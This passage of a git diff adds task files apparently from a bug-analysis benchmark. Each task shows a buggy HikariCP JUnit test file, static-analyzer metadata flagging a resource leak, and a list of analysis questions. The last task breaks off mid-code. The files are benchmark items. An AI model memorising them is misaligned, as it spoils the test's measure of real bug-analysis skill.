+## Project Information
+
+**Project:** HikariCP
+**Bug ID:** 6
+**Language:** java
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```java
+package com.zaxxer.hikari;
+
+import org.junit.Assert;
+import org.junit.Test;
+
+import com.zaxxer.hikari.performance.StubStatement;
+import com.zaxxer.hikari.util.FastStatementList;
+
+public class TestFastStatementList
+{
+    @Test
+    public void testOverflow()
+    {
+        FastStatementList list = new FastStatementList();
+        for (int i = 0; i < 100; i++)
+        {
+            list.add(new StubStatement());
+        }
+
+        for (int i = 0; i < 100; i++)
+        {
+            Assert.assertNotNull("Element " + i, list.get(i));
+        }
+    }
+}
+
+```
+
+### Bug Class:
+PROVER
+
+### Kind:
+ERROR
+
+### Bug Type:
+RESOURCE_LEAK
+
+### Qualifier:
+resource of type `com.zaxxer.hikari.performance.StubStatement` acquired by call to `new()` at line 17 is not released after line 22.
+
+### Severity:
+HIGH
+
+### Visibility:
+user
+
+### Procedure:
+void TestFastStatementList.testOverflow()
+
+### Procedure Id:
+com.zaxxer.hikari.TestFastStatementList.testOverflow():void.468a402361439034ca987478fff1b48a
+
+### File:
+src/test/java/com/zaxxer/hikari/TestFastStatementList.java
+
+### Key:
+TestFastStatementList.java|testOverflow|RESOURCE_LEAK
+
+### Node Key:
+08c0b6dbba9aac20118c31b3221373c4
+
+### Hash:
+76e002688cab4b6a30b013ea36a56f5a
+
+### Bug Type Hum:
+Resource Leak
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-5641/instruction.md b/inferredbugs-5641/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..df606876819b6aaf0ac1a8e90858c63cb3f36a59
--- /dev/null
+++ b/inferredbugs-5641/instruction.md
@@ -0,0 +1,399 @@
+# InferredBugs Task - Java
+
+## Project Information
+
+**Project:** HikariCP
+**Bug ID:** 17
+**Language:** java
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```java
+/*
+ * Copyright (C) 2013 Brett Wooldridge
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.zaxxer.hikari;
+
+import java.sql.Connection;
+import java.sql.PreparedStatement;
+import java.sql.ResultSet;
+import java.sql.SQLException;
+import java.util.concurrent.TimeUnit;
+
+import org.junit.Assert;
+import org.junit.Test;
+
+import com.zaxxer.hikari.mocks.StubConnection;
+
+/**
+ * System property testProxy can be one of:
+ *    "com.zaxxer.hikari.JavaProxyFactory"
+ *    "com.zaxxer.hikari.CglibProxyFactory"
+ *    "com.zaxxer.hikari.JavassistProxyFactory"
+ *
+ * @author Brett Wooldridge
+ */
+public class TestConnections
+{
+    @Test
+    public void testCreate() throws SQLException
+    {
+        HikariConfig config = new HikariConfig();
+        config.setMinimumIdle(1);
+        config.setMaximumPoolSize(1);
+        config.setInitializationFailFast(true);
+        config.setConnectionTestQuery("VALUES 1");
+        config.setDataSourceClassName("com.zaxxer.hikari.mocks.StubDataSource");
+
+        HikariDataSource ds = new HikariDataSource(config);
+        try
+        {
+            Assert.assertSame("Totals connections not as expected", 1, TestElf.getPool(ds).getTotalConnections());
+            Assert.assertSame("Idle connections not as expected", 1, TestElf.getPool(ds).getIdleConnections());
+    
+            Connection connection = ds.getConnection();
+            Assert.assertNotNull(connection);
+    
+            Assert.assertSame("Totals connections not as expected", 1, TestElf.getPool(ds).getTotalConnections());
+            Assert.assertSame("Idle connections not as expected", 0, TestElf.getPool(ds).getIdleConnections());
+    
+            PreparedStatement statement = connection.prepareStatement("SELECT * FROM device WHERE device_id=?");
+            Assert.assertNotNull(statement);
+    
+            statement.setInt(1, 0);
+    
+            ResultSet resultSet = statement.executeQuery();
+            Assert.assertNotNull(resultSet);
+    
+            Assert.assertFalse(resultSet.next());
+    
+            resultSet.close();
+            statement.close();
+            connection.close();
+    
+            Assert.assertSame("Totals connections not as expected", 1, TestElf.getPool(ds).getTotalConnections());
+            Assert.assertSame("Idle connections not as expected", 1, TestElf.getPool(ds).getIdleConnections());
+        }
+        finally
+        {
+            ds.shutdown();
+        }
+    }
+
+    @Test
+    public void testMaxLifetime() throws Exception
+    {
+        HikariConfig config = new HikariConfig();
+        config.setMinimumIdle(0);
+        config.setMaximumPoolSize(1);
+        config.setInitializationFailFast(true);
+        config.setConnectionTestQuery("VALUES 1");
+        config.setDataSourceClassName("com.zaxxer.hikari.mocks.StubDataSource");
+
+        System.setProperty("com.zaxxer.hikari.housekeeping.periodMs", "100");
+
+        HikariDataSource ds = new HikariDataSource(config);
+
+        try
+        {
+            System.clearProperty("com.zaxxer.hikari.housekeeping.periodMs");
+    
+            ds.setMaxLifetime(700);
+    
+            Assert.assertSame("Total connections not as expected", 0, TestElf.getPool(ds).getTotalConnections());
+            Assert.assertSame("Idle connections not as expected", 0, TestElf.getPool(ds).getIdleConnections());
+    
+            Connection connection = ds.getConnection();
+            Assert.assertNotNull(connection);
+    
+            Assert.assertSame("Second total connections not as expected", 1, TestElf.getPool(ds).getTotalConnections());
+            Assert.assertSame("Second idle connections not as expected", 0, TestElf.getPool(ds).getIdleConnections());
+            connection.close();
+    
+            Assert.assertSame("Idle connections not as expected", 1, TestElf.getPool(ds).getIdleConnections());
+    
+            Connection connection2 = ds.getConnection();
+            Assert.assertSame("Expected the same connection", connection, connection2);
+            Assert.assertSame("Second total connections not as expected", 1, TestElf.getPool(ds).getTotalConnections());
+            Assert.assertSame("Second idle connections not as expected", 0, TestElf.getPool(ds).getIdleConnections());
+            connection2.close();
+
+            Thread.sleep(2000);
+
+            connection2 = ds.getConnection();
+            Assert.assertNotSame("Expected a different connection", connection, connection2);
+    
+            connection2.close();
+    
+            Assert.assertSame("Post total connections not as expected", 1, TestElf.getPool(ds).getTotalConnections());
+            Assert.assertSame("Post idle connections not as expected", 1, TestElf.getPool(ds).getIdleConnections());
+        }
+        finally
+        {
+            ds.shutdown();
+        }
+    }
+
+    @Test
+    public void testMaxLifetime2() throws Exception
+    {
+        HikariConfig config = new HikariConfig();
+        config.setMinimumIdle(0);
+        config.setMaximumPoolSize(1);
+        config.setInitializationFailFast(true);
+        config.setConnectionTestQuery("VALUES 1");
+        config.setDataSourceClassName("com.zaxxer.hikari.mocks.StubDataSource");
+
+        HikariDataSource ds = new HikariDataSource(config);
+
+        try
+        {
+            ds.setMaxLifetime(700);
+
+            Assert.assertSame("Total connections not as expected", 0, TestElf.getPool(ds).getTotalConnections());
+            Assert.assertSame("Idle connections not as expected", 0, TestElf.getPool(ds).getIdleConnections());
+    
+            Connection connection = ds.getConnection();
+            Assert.assertNotNull(connection);
+    
+            Assert.assertSame("Second total connections not as expected", 1, TestElf.getPool(ds).getTotalConnections());
+            Assert.assertSame("Second idle connections not as expected", 0, TestElf.getPool(ds).getIdleConnections());
+            connection.close();
+    
+            Assert.assertSame("Idle connections not as expected", 1, TestElf.getPool(ds).getIdleConnections());
+
+            Connection connection2 = ds.getConnection();
+            Assert.assertSame("Expected the same connection", connection, connection2);
+            Assert.assertSame("Second total connections not as expected", 1, TestElf.getPool(ds).getTotalConnections());
+            Assert.assertSame("Second idle connections not as expected", 0, TestElf.getPool(ds).getIdleConnections());
+            connection2.close();
+
+            Thread.sleep(800);
+
+            connection2 = ds.getConnection();
+            Assert.assertNotSame("Expected a different connection", connection, connection2);
+    
+            connection2.close();
+    
+            Assert.assertSame("Post total connections not as expected", 1, TestElf.getPool(ds).getTotalConnections());
+            Assert.assertSame("Post idle connections not as expected", 1, TestElf.getPool(ds).getIdleConnections());
+        }
+        finally
+        {
+            ds.shutdown();
+        }
+    }
+
+    @Test
+    public void testDoubleClose() throws Exception
+    {
+        HikariConfig config = new HikariConfig();
+        config.setMinimumIdle(1);
+        config.setMaximumPoolSize(1);
+        config.setInitializationFailFast(true);
+        config.setConnectionTestQuery("VALUES 1");
+        config.setDataSourceClassName("com.zaxxer.hikari.mocks.StubDataSource");
+
+        HikariDataSource ds = new HikariDataSource(config);
+        try
+        {
+            Connection connection = ds.getConnection();
+            connection.close();
+            connection.close();
+        }
+        finally
+        {
+            ds.shutdown();
+        }
+    }
+
+    @Test
+    public void testBackfill() throws Exception
+    {
+        HikariConfig config = new HikariConfig();
+        config.setMinimumIdle(1);
+        config.setMaximumPoolSize(4);
+        config.setConnectionTimeout(500);
+        config.setInitializationFailFast(true);
+        config.setConnectionTestQuery("VALUES 1");
+        config.setDataSourceClassName("com.zaxxer.hikari.mocks.StubDataSource");
+
+        HikariDataSource ds = new HikariDataSource(config);
+        try
+        {
+            Assert.assertSame("Totals connections not as expected", 1, TestElf.getPool(ds).getTotalConnections());
+            Assert.assertSame("Idle connections not as expected", 1, TestElf.getPool(ds).getIdleConnections());
+    
+            // This will take the pool down to zero
+            Connection connection = ds.getConnection();
+            Assert.assertNotNull(connection);
+    
+            Assert.assertSame("Totals connections not as expected", 1, TestElf.getPool(ds).getTotalConnections());
+            Assert.assertSame("Idle connections not as expected", 0, TestElf.getPool(ds).getIdleConnections());
+    
+            PreparedStatement statement = connection.prepareStatement("SELECT some, thing FROM somewhere WHERE something=?");
+            Assert.assertNotNull(statement);
+    
+            ResultSet resultSet = statement.executeQuery();
+            Assert.assertNotNull(resultSet);
+    
+            try
+            {
+                statement.getMaxFieldSize();
+                Assert.fail();
+            }
+            catch (Exception e)
+            {
+                Assert.assertSame(SQLException.class, e.getClass());
+            }
+    
+            // The connection will be ejected from the pool here
+            connection.close();
+    
+            Assert.assertSame("Totals connections not as expected", 0, TestElf.getPool(ds).getTotalConnections());
+            Assert.assertSame("Idle connections not as expected", 0, TestElf.getPool(ds).getIdleConnections());
+
+            // This will cause a backfill
+            connection = ds.getConnection();
+            connection.close();
+
+            Assert.assertTrue("Totals connections not as expected", TestElf.getPool(ds).getTotalConnections() > 0);
+            Assert.assertTrue("Idle connections not as expected", TestElf.getPool(ds).getIdleConnections() > 0);
+        }
+        finally
+        {
+            ds.shutdown();
+        }
+    }
+
+    @Test
+    public void testMaximumPoolLimit() throws Exception
+    {
+        HikariConfig config = new HikariConfig();
+        config.setMinimumIdle(1);
+        config.setMaximumPoolSize(4);
+        config.setConnectionTimeout(TimeUnit.MINUTES.toMillis(1));
+        config.setInitializationFailFast(true);
+        config.setConnectionTestQuery("VALUES 1");
+        config.setDataSourceClassName("com.zaxxer.hikari.mocks.StubDataSource");
+
+        StubConnection.count.set(0);
+
+        final HikariDataSource ds = new HikariDataSource(config);
+        try
+        {
+            Thread[] threads = new Thread[20];
+            for (int i = 0; i < threads.length; i++)
+            {
+                threads[i] = new Thread(new Runnable() {
+                    public void run()
+                    {
+                        try
+                        {
+                            Connection connection = ds.getConnection();
+                            Thread.sleep(1000);
+                            connection.close();
+                        }
+                        catch (Exception e)
+                        {
+                            // TODO Auto-generated catch block
+                            e.printStackTrace();
+                        }
+                    }
+                });
+            }
+    
+            for (int i = 0; i < threads.length; i++)
+            {
+                threads[i].start();
+            }
+    
+            for (int i = 0; i < threads.length; i++)
+            {
+                threads[i].join();
+            }
+    
+            Assert.assertEquals(4, StubConnection.count.get());
+        }
+        finally
+        {
+            ds.shutdown();
+        }
+    }
+}
+
+```
+
+### Bug Class:
+PROVER
+
+### Kind:
+ERROR
+
+### Bug Type:
+RESOURCE_LEAK
+
+### Qualifier:
+resource of type `com.zaxxer.hikari.HikariDataSource` acquired to `ds` by call to `new()` at line 50 is not released after line 81.
+
+### Severity:
+HIGH
+
+### Visibility:
+user
+
+### Procedure:
+void TestConnections.testCreate()
+
+### Procedure Id:
+com.zaxxer.hikari.TestConnections.testCreate():void.64a1bfa7e33cffb92634af668eaa203e
+
+### File:
+hikaricp/src/test/java/com/zaxxer/hikari/TestConnections.java
+
+### Key:
+TestConnections.java|testCreate|RESOURCE_LEAK
+
+### Node Key:
+b557d6b2918eb263209be8dd7349ace7
+
+### Hash:
+75e39808ff5064bbd9bf011493f33c55
+
+### Bug Type Hum:
+Resource Leak
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-5646/instruction.md b/inferredbugs-5646/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..418de7483c8085e2dcc2d35ff5f2e9326879bfe3
--- /dev/null
+++ b/inferredbugs-5646/instruction.md
@@ -0,0 +1,399 @@
+# InferredBugs Task - Java
+
+## Project Information
+
+**Project:** HikariCP
+**Bug ID:** 21
+**Language:** java
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```java
+/*
+ * Copyright (C) 2013 Brett Wooldridge
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.zaxxer.hikari;
+
+import java.sql.Connection;
+import java.sql.PreparedStatement;
+import java.sql.ResultSet;
+import java.sql.SQLException;
+import java.util.concurrent.TimeUnit;
+
+import org.junit.Assert;
+import org.junit.Test;
+
+import com.zaxxer.hikari.mocks.StubConnection;
+
+/**
+ * System property testProxy can be one of:
+ *    "com.zaxxer.hikari.JavaProxyFactory"
+ *    "com.zaxxer.hikari.CglibProxyFactory"
+ *    "com.zaxxer.hikari.JavassistProxyFactory"
+ *
+ * @author Brett Wooldridge
+ */
+public class TestConnections
+{
+    @Test
+    public void testCreate() throws SQLException
+    {
+        HikariConfig config = new HikariConfig();
+        config.setMinimumIdle(1);
+        config.setMaximumPoolSize(1);
+        config.setInitializationFailFast(true);
+        config.setConnectionTestQuery("VALUES 1");
+        config.setDataSourceClassName("com.zaxxer.hikari.mocks.StubDataSource");
+
+        HikariDataSource ds = new HikariDataSource(config);
+        try
+        {
+            Assert.assertSame("Totals connections not as expected", 1, TestElf.getPool(ds).getTotalConnections());
+            Assert.assertSame("Idle connections not as expected", 1, TestElf.getPool(ds).getIdleConnections());
+    
+            Connection connection = ds.getConnection();
+            Assert.assertNotNull(connection);
+    
+            Assert.assertSame("Totals connections not as expected", 1, TestElf.getPool(ds).getTotalConnections());
+            Assert.assertSame("Idle connections not as expected", 0, TestElf.getPool(ds).getIdleConnections());
+    
+            PreparedStatement statement = connection.prepareStatement("SELECT * FROM device WHERE device_id=?");
+            Assert.assertNotNull(statement);
+    
+            statement.setInt(1, 0);
+    
+            ResultSet resultSet = statement.executeQuery();
+            Assert.assertNotNull(resultSet);
+    
+            Assert.assertFalse(resultSet.next());
+    
+            resultSet.close();
+            statement.close();
+            connection.close();
+    
+            Assert.assertSame("Totals connections not as expected", 1, TestElf.getPool(ds).getTotalConnections());
+            Assert.assertSame("Idle connections not as expected", 1, TestElf.getPool(ds).getIdleConnections());
+        }
+        finally
+        {
+            ds.shutdown();
+        }
+    }
+
+    @Test
+    public void testMaxLifetime() throws Exception
+    {
+        HikariConfig config = new HikariConfig();
+        config.setMinimumIdle(0);
+        config.setMaximumPoolSize(1);
+        config.setInitializationFailFast(true);
+        config.setConnectionTestQuery("VALUES 1");
+        config.setDataSourceClassName("com.zaxxer.hikari.mocks.StubDataSource");
+
+        System.setProperty("com.zaxxer.hikari.housekeeping.periodMs", "100");
+
+        HikariDataSource ds = new HikariDataSource(config);
+
+        try
+        {
+            System.clearProperty("com.zaxxer.hikari.housekeeping.periodMs");
+    
+            ds.setMaxLifetime(700);
+    
+            Assert.assertSame("Total connections not as expected", 0, TestElf.getPool(ds).getTotalConnections());
+            Assert.assertSame("Idle connections not as expected", 0, TestElf.getPool(ds).getIdleConnections());
+    
+            Connection connection = ds.getConnection();
+            Assert.assertNotNull(connection);
+    
+            Assert.assertSame("Second total connections not as expected", 1, TestElf.getPool(ds).getTotalConnections());
+            Assert.assertSame("Second idle connections not as expected", 0, TestElf.getPool(ds).getIdleConnections());
+            connection.close();
+    
+            Assert.assertSame("Idle connections not as expected", 1, TestElf.getPool(ds).getIdleConnections());
+    
+            Connection connection2 = ds.getConnection();
+            Assert.assertSame("Expected the same connection", connection, connection2);
+            Assert.assertSame("Second total connections not as expected", 1, TestElf.getPool(ds).getTotalConnections());
+            Assert.assertSame("Second idle connections not as expected", 0, TestElf.getPool(ds).getIdleConnections());
+            connection2.close();
+
+            Thread.sleep(2000);
+
+            connection2 = ds.getConnection();
+            Assert.assertNotSame("Expected a different connection", connection, connection2);
+    
+            connection2.close();
+    
+            Assert.assertSame("Post total connections not as expected", 1, TestElf.getPool(ds).getTotalConnections());
+            Assert.assertSame("Post idle connections not as expected", 1, TestElf.getPool(ds).getIdleConnections());
+        }
+        finally
+        {
+            ds.shutdown();
+        }
+    }
+
+    @Test
+    public void testMaxLifetime2() throws Exception
+    {
+        HikariConfig config = new HikariConfig();
+        config.setMinimumIdle(0);
+        config.setMaximumPoolSize(1);
+        config.setInitializationFailFast(true);
+        config.setConnectionTestQuery("VALUES 1");
+        config.setDataSourceClassName("com.zaxxer.hikari.mocks.StubDataSource");
+
+        HikariDataSource ds = new HikariDataSource(config);
+
+        try
+        {
+            ds.setMaxLifetime(700);
+
+            Assert.assertSame("Total connections not as expected", 0, TestElf.getPool(ds).getTotalConnections());
+            Assert.assertSame("Idle connections not as expected", 0, TestElf.getPool(ds).getIdleConnections());
+    
+            Connection connection = ds.getConnection();
+            Assert.assertNotNull(connection);
+    
+            Assert.assertSame("Second total connections not as expected", 1, TestElf.getPool(ds).getTotalConnections());
+            Assert.assertSame("Second idle connections not as expected", 0, TestElf.getPool(ds).getIdleConnections());
+            connection.close();
+    
+            Assert.assertSame("Idle connections not as expected", 1, TestElf.getPool(ds).getIdleConnections());
+
+            Connection connection2 = ds.getConnection();
+            Assert.assertSame("Expected the same connection", connection, connection2);
+            Assert.assertSame("Second total connections not as expected", 1, TestElf.getPool(ds).getTotalConnections());
+            Assert.assertSame("Second idle connections not as expected", 0, TestElf.getPool(ds).getIdleConnections());
+            connection2.close();
+
+            Thread.sleep(800);
+
+            connection2 = ds.getConnection();
+            Assert.assertNotSame("Expected a different connection", connection, connection2);
+    
+            connection2.close();
+    
+            Assert.assertSame("Post total connections not as expected", 1, TestElf.getPool(ds).getTotalConnections());
+            Assert.assertSame("Post idle connections not as expected", 1, TestElf.getPool(ds).getIdleConnections());
+        }
+        finally
+        {
+            ds.shutdown();
+        }
+    }
+
+    @Test
+    public void testDoubleClose() throws Exception
+    {
+        HikariConfig config = new HikariConfig();
+        config.setMinimumIdle(1);
+        config.setMaximumPoolSize(1);
+        config.setInitializationFailFast(true);
+        config.setConnectionTestQuery("VALUES 1");
+        config.setDataSourceClassName("com.zaxxer.hikari.mocks.StubDataSource");
+
+        HikariDataSource ds = new HikariDataSource(config);
+        try
+        {
+            Connection connection = ds.getConnection();
+            connection.close();
+            connection.close();
+        }
+        finally
+        {
+            ds.shutdown();
+        }
+    }
+
+    @Test
+    public void testBackfill() throws Exception
+    {
+        HikariConfig config = new HikariConfig();
+        config.setMinimumIdle(1);
+        config.setMaximumPoolSize(4);
+        config.setConnectionTimeout(500);
+        config.setInitializationFailFast(true);
+        config.setConnectionTestQuery("VALUES 1");
+        config.setDataSourceClassName("com.zaxxer.hikari.mocks.StubDataSource");
+
+        HikariDataSource ds = new HikariDataSource(config);
+        try
+        {
+            Assert.assertSame("Totals connections not as expected", 1, TestElf.getPool(ds).getTotalConnections());
+            Assert.assertSame("Idle connections not as expected", 1, TestElf.getPool(ds).getIdleConnections());
+    
+            // This will take the pool down to zero
+            Connection connection = ds.getConnection();
+            Assert.assertNotNull(connection);
+    
+            Assert.assertSame("Totals connections not as expected", 1, TestElf.getPool(ds).getTotalConnections());
+            Assert.assertSame("Idle connections not as expected", 0, TestElf.getPool(ds).getIdleConnections());
+    
+            PreparedStatement statement = connection.prepareStatement("SELECT some, thing FROM somewhere WHERE something=?");
+            Assert.assertNotNull(statement);
+    
+            ResultSet resultSet = statement.executeQuery();
+            Assert.assertNotNull(resultSet);
+    
+            try
+            {
+                statement.getMaxFieldSize();
+                Assert.fail();
+            }
+            catch (Exception e)
+            {
+                Assert.assertSame(SQLException.class, e.getClass());
+            }
+    
+            // The connection will be ejected from the pool here
+            connection.close();
+    
+            Assert.assertSame("Totals connections not as expected", 0, TestElf.getPool(ds).getTotalConnections());
+            Assert.assertSame("Idle connections not as expected", 0, TestElf.getPool(ds).getIdleConnections());
+
+            // This will cause a backfill
+            connection = ds.getConnection();
+            connection.close();
+
+            Assert.assertTrue("Totals connections not as expected", TestElf.getPool(ds).getTotalConnections() > 0);
+            Assert.assertTrue("Idle connections not as expected", TestElf.getPool(ds).getIdleConnections() > 0);
+        }
+        finally
+        {
+            ds.shutdown();
+        }
+    }
+
+    @Test
+    public void testMaximumPoolLimit() throws Exception
+    {
+        HikariConfig config = new HikariConfig();
+        config.setMinimumIdle(1);
+        config.setMaximumPoolSize(4);
+        config.setConnectionTimeout(TimeUnit.MINUTES.toMillis(1));
+        config.setInitializationFailFast(true);
+        config.setConnectionTestQuery("VALUES 1");
+        config.setDataSourceClassName("com.zaxxer.hikari.mocks.StubDataSource");
+
+        StubConnection.count.set(0);
+
+        final HikariDataSource ds = new HikariDataSource(config);
+        try
+        {
+            Thread[] threads = new Thread[20];
+            for (int i = 0; i < threads.length; i++)
+            {
+                threads[i] = new Thread(new Runnable() {
+                    public void run()
+                    {
+                        try
+                        {
+                            Connection connection = ds.getConnection();
+                            Thread.sleep(1000);
+                            connection.close();
+                        }
+                        catch (Exception e)
+                        {
+                            // TODO Auto-generated catch block
+                            e.printStackTrace();
+                        }
+                    }
+                });
+            }
+    
+            for (int i = 0; i < threads.length; i++)
+            {
+                threads[i].start();
+            }
+    
+            for (int i = 0; i < threads.length; i++)
+            {
+                threads[i].join();
+            }
+    
+            Assert.assertEquals(4, StubConnection.count.get());
+        }
+        finally
+        {
+            ds.shutdown();
+        }
+    }
+}
+
+```
+
+### Bug Class:
+PROVER
+
+### Kind:
+ERROR
+
+### Bug Type:
+RESOURCE_LEAK
+
+### Qualifier:
+resource of type `com.zaxxer.hikari.HikariDataSource` acquired to `ds` by call to `new()` at line 223 is not released after line 267.
+
+### Severity:
+HIGH
+
+### Visibility:
+user
+
+### Procedure:
+void TestConnections.testBackfill()
+
+### Procedure Id:
+com.zaxxer.hikari.TestConnections.testBackfill():void.258554d59cf5e67991eea154c23105eb
+
+### File:
+hikaricp/src/test/java/com/zaxxer/hikari/TestConnections.java
+
+### Key:
+TestConnections.java|testBackfill|RESOURCE_LEAK
+
+### Node Key:
+b557d6b2918eb263209be8dd7349ace7
+
+### Hash:
+042be987737ad29f5c9e5fc11e389143
+
+### Bug Type Hum:
+Resource Leak
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-5649/instruction.md b/inferredbugs-5649/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..4bab666f23ad1a25c4b25d4b4de6f7fbf127eb19
--- /dev/null
+++ b/inferredbugs-5649/instruction.md
@@ -0,0 +1,351 @@
+# InferredBugs Task - Java
+
+## Project Information
+
+**Project:** HikariCP
+**Bug ID:** 15
+**Language:** java
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```java
+package com.zaxxer.hikari;
+
+import java.sql.Connection;
+import java.sql.SQLException;
+import java.util.concurrent.Executors;
+import java.util.concurrent.ScheduledExecutorService;
+import java.util.concurrent.TimeUnit;
+
+import org.junit.Assert;
+import org.junit.Test;
+
+import com.zaxxer.hikari.mocks.StubDataSource;
+
+public class TestConnectionTimeoutRetry
+{
+    @Test
+    public void testConnectionRetries() throws SQLException
+    {
+        HikariConfig config = new HikariConfig();
+        config.setMinimumIdle(0);
+        config.setMaximumPoolSize(1);
+        config.setConnectionTimeout(2800);
+        config.setConnectionTestQuery("VALUES 1");
+        config.setDataSourceClassName("com.zaxxer.hikari.mocks.StubDataSource");
+
+        HikariDataSource ds = new HikariDataSource(config);
+
+        StubDataSource stubDataSource = ds.unwrap(StubDataSource.class);
+        stubDataSource.setThrowException(new SQLException("Connection refused"));
+
+        long start = System.currentTimeMillis();
+        try
+        {
+            Connection connection = ds.getConnection();
+            connection.close();
+            Assert.fail("Should not have been able to get a connection.");
+        }
+        catch (SQLException e)
+        {
+            long elapsed = System.currentTimeMillis() - start;
+            long timeout = config.getConnectionTimeout();
+            Assert.assertTrue("Didn't wait long enough for timeout", (elapsed >= timeout));
+        }
+        finally
+        {
+            ds.shutdown();
+        }
+    }
+
+    @Test
+    public void testConnectionRetries2() throws SQLException
+    {
+        HikariConfig config = new HikariConfig();
+        config.setMinimumIdle(0);
+        config.setMaximumPoolSize(1);
+        config.setConnectionTimeout(2800);
+        config.setInitializationFailFast(true);
+        config.setConnectionTestQuery("VALUES 1");
+        config.setDataSourceClassName("com.zaxxer.hikari.mocks.StubDataSource");
+
+        HikariDataSource ds = new HikariDataSource(config);
+
+        final StubDataSource stubDataSource = ds.unwrap(StubDataSource.class);
+        stubDataSource.setThrowException(new SQLException("Connection refused"));
+
+        ScheduledExecutorService scheduler = Executors.newScheduledThreadPool(1);
+        scheduler.schedule(new Runnable() {
+            public void run()
+            {
+                stubDataSource.setThrowException(null);
+            }
+        }, 300, TimeUnit.MILLISECONDS);
+
+        long start = System.currentTimeMillis();
+        try
+        {
+            Connection connection = ds.getConnection();
+            connection.close();
+
+            long elapsed = System.currentTimeMillis() - start;
+            Assert.assertTrue("Connection returned too quickly, something is wrong.", elapsed > 250);
+            Assert.assertTrue("Waited too long to get a connection.", elapsed < config.getConnectionTimeout());
+        }
+        catch (SQLException e)
+        {
+            Assert.fail("Should not have timed out.");
+        }
+        finally
+        {
+            scheduler.shutdownNow();
+            ds.shutdown();
+        }
+    }
+
+    @Test
+    public void testConnectionRetries3() throws SQLException
+    {
+        HikariConfig config = new HikariConfig();
+        config.setMinimumIdle(0);
+        config.setMaximumPoolSize(2);
+        config.setConnectionTimeout(2800);
+        config.setConnectionTestQuery("VALUES 1");
+        config.setDataSourceClassName("com.zaxxer.hikari.mocks.StubDataSource");
+
+        HikariDataSource ds = new HikariDataSource(config);
+
+        final Connection connection1 = ds.getConnection();
+        final Connection connection2 = ds.getConnection();
+        Assert.assertNotNull(connection1);
+        Assert.assertNotNull(connection2);
+
+        ScheduledExecutorService scheduler = Executors.newScheduledThreadPool(2);
+        scheduler.schedule(new Runnable() {
+            public void run()
+            {
+                try
+                {
+                    connection1.close();
+                }
+                catch (Exception e)
+                {
+                    e.printStackTrace(System.err);
+                }
+            }
+        }, 800, TimeUnit.MILLISECONDS);
+
+        long start = System.currentTimeMillis();
+        try
+        {
+            Connection connection3 = ds.getConnection();
+            connection3.close();
+
+            long elapsed = System.currentTimeMillis() - start;
+            Assert.assertTrue("Waited too long to get a connection.", (elapsed >= 700) && (elapsed < 950));
+        }
+        catch (SQLException e)
+        {
+            Assert.fail("Should not have timed out.");
+        }
+        finally
+        {
+            scheduler.shutdownNow();
+            ds.shutdown();
+        }
+    }
+
+    @Test
+    public void testConnectionRetries4() throws SQLException
+    {
+        HikariConfig config = new HikariConfig();
+        config.setMinimumIdle(0);
+        config.setMaximumPoolSize(1);
+        config.setConnectionTimeout(1000);
+        config.setConnectionTestQuery("VALUES 1");
+        config.setDataSourceClassName("com.zaxxer.hikari.mocks.StubDataSource");
+
+        HikariDataSource ds = new HikariDataSource(config);
+
+        StubDataSource stubDataSource = ds.unwrap(StubDataSource.class);
+        stubDataSource.setThrowException(new SQLException("Connection refused"));
+
+        long start = System.currentTimeMillis();
+        try
+        {
+            Connection connection = ds.getConnection();
+            connection.close();
+            Assert.fail("Should not have been able to get a connection.");
+        }
+        catch (SQLException e)
+        {
